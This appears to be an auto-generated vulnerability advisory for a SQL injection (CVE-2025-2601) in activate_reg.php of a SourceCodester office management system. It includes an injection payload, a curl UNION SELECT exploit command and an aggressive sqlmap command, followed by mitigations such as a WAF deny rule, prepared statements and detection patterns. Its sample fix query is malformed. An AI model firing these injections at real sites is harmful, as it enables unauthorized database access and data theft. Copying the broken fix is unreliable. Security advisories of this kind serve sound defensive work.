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How the CVE Works:
CVE-2025-2601 is a critical SQL injection vulnerability in SourceCodester Kortex Lite Advocate Office Management System 1.0. The flaw exists in activate_reg.php, where the `ID` parameter is improperly sanitized before being used in SQL queries. Attackers can manipulate this parameter to inject malicious SQL payloads, potentially enabling unauthorized database access, data exfiltration, or system compromise. The vulnerability is remotely exploitable, requiring low privileges, and has a public exploit, increasing its risk. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) reflects its network-based attack vector, low complexity, and lack of user interaction.
DailyCVE Form:
Platform: SourceCodester Kortex Lite
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation:
1. Payload Example:
' OR 1=1--
Injected via `activate_reg.php?ID=
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<h2 style="color: blue;">2. Exploit Command:</h2>
[bash]
curl "http://target.com/activate_reg.php?ID=1'%20UNION%20SELECT%201,2,3,4,5--"
3. Automated Testing:
Use `sqlmap` to automate exploitation:
sqlmap -u "http://target.com/activate_reg.php?ID=1" --risk=3 --level=5
Protection:
- Patch: Apply vendor updates or sanitize `ID` input.
2. WAF Rules: Block SQLi patterns (e.g., `ModSecurity`):
SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"
3. PHP Fix: Use prepared statements:
$stmt = $conn->prepare("SELECT FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
4. Logging: Monitor suspicious queries:
ALTER TABLE logs ADD COLUMN sql_attempt TEXT;
5. Network Mitigation: Restrict DB access to trusted IPs:
iptables -A INPUT -p tcp --dport 3306 -s 192.168.1.0/24 -j ACCEPT
6. Detection: Audit logs for UNION, SELECT, or `–` patterns.
End of Report
Sources:
Reported By: nvd.nist.gov
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